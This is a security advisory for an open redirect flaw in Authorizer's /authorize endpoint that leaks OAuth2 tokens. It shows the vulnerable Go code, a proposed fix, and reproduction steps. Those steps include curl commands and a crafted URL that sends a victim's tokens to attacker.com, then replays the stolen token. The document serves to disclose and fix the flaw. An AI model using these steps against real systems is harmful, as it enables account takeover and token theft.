CVE-2026-54072

Authorizer: Unvalidated redirect_uri in /authorize leaks OAuth2 tokens to attacker-controlled URL

Summary

The /authorize endpoint accepts any redirect_uri without validating it against AllowedOrigins. When response_type=token or responsetype=idtoken, the server appends access_tokenid_token, and refresh_token as query parameters and issues a 302 redirect to the attacker-supplied URL. An unauthenticated attacker can obtain the required client_id from the public /graphql?query={meta{client_id}} endpoint.

Partial fix was applied in v2.0.1 to other handlers (oauth_loginverify_emailmagiclinkloginforgot_passwordinvite_membersoauth_callback) but /authorize was not included.

Vulnerable Code

internal/http_handlers/authorize.go:

redirectURI := strings.TrimSpace(gc.Query("redirect_uri"))
// ... no IsValidOrigin() call ...
// response_type=token path (line ~263):
if strings.Contains(redirectURI, "?") {
    redirectURI = redirectURI + "&" + params
} else {
    redirectURI = redirectURI + "?" + params
}
handleResponse(gc, responseMode, authURL, redirectURI, ...) // 302 to attacker URL

Compare with the fixed oauth_login.go in v2.0.1 which calls validators.IsValidOrigin(redirectURI, h.Config.AllowedOrigins).

Steps to Reproduce

## 1. Obtain client_id (no authentication required)
CLIENT_ID=$(curl -s http://TARGET/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{meta{client_id}}"}' | python3 -c "import sys,json; print(json.load(sys.stdin)['data']['meta']['client_id'])")
echo "client_id: $CLIENT_ID"
## 2. Craft the malicious URL and send to victim (victim must be logged in)
## When victim opens this URL, tokens are delivered to attacker.com
MALICIOUS_URL="http://TARGET/authorize?response_type=token&client_id=${CLIENT_ID}&redirect_uri=https://attacker.com/steal&scope=openid+profile+email&state=x&response_mode=query"
echo "Send to victim: $MALICIOUS_URL"
## 3. Attacker receives 302 redirect with all tokens:
## https://attacker.com/steal?access_token=eyJ...&token_type=bearer&expires_in=...&id_token=eyJ...
## 4. Validate stolen token
curl -s http://TARGET/userinfo \
  -H "Authorization: Bearer STOLEN_ACCESS_TOKEN"
## Returns: {"email":"victim@example.com","id":"...","roles":["user"]}

Impact

An attacker who tricks a logged-in user into clicking a crafted link can steal the victim's access_tokenid_token, and refresh_token. The attacker can then impersonate the victim for the full token lifetime. No user interaction beyond clicking the link is required; the victim's browser issues the redirect automatically.

Proposed Fix

Add the same IsValidOrigin check that was applied to the other handlers in v2.0.1:

// In authorize.go, after reading redirect_uri:
if !validators.IsValidOrigin(redirectURI, h.Config.AllowedOrigins) {
    handleResponse(gc, responseMode, authURL, redirectURI, map[string]interface{}{
        "error":             "invalid_request",
        "error_description": "redirect_uri is not allowed",
    }, http.StatusBadRequest)
    return
}
